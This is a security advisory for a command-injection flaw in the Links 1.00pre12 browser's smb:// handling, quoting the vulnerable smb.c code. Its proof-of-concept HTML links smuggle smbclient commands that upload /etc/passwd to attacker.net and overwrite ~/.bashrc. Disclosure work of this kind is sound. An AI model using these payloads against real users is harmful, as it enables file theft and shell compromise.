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Links 1.00pre12 smbclient Code Execution (PoC)
------------------------------------------------------------------------
SUMMARY
There is a flaw in the Links web browser, that allows malicious web sites
to execute smbclient commands on the victim's machine.
DETAILS
Description:
There is a flaw in the Links web browser, that allows malicious web sites
to execute smbclient commands on the victim's machine.
This flaw makes it possible to read any file from the victim system (any
file that the user running links has read access), or to upload any file
to the victim system (any file that the user running links can
create/overwrite). The attacker could, for example, upload ~/.bashrc to
gain shell access.
Vulnerable Systems:
* Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also be installed.
(tested on)
Vulnerable code:
smb_func() in smb.c:
...
143 if (*share) {
144 if (!*dir || dir[strlen(dir) - 1] == '/'
|| dir[strlen(dir) - 1] == '\\') {
145 if (dir) {
146 v[n++] = "-D";
147 v[n++] = dir;
148 }
149 v[n++] = "-c";
150 v[n++] = "ls";
151 } else {
152 unsigned char *ss;
153 unsigned char *s = stracpy("get
\"");
'dir' is the directory part of the smb://.. url:
154 add_to_strn(&s, dir);
155 add_to_strn(&s, "\" -");
156 while ((ss = strchr(s, '/')))
*ss = '\\';
157 v[n++] = "-c";
158 v[n++] = s;
159 }
160 }
161 v[n++] = NULL;
smbclient is executed:
162 execvp("smbclient", (char **)v);
163 fprintf(stderr, "smbclient not found in $PATH");
164 _exit(1);
...
-->
<html>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd
etc; put passwd ; exit; '>Put /etc/passwd</a>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd
home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
</html>
ADDITIONAL INFORMATION
The information has been provided by <http://www.milw0rm.com> milw0rm.
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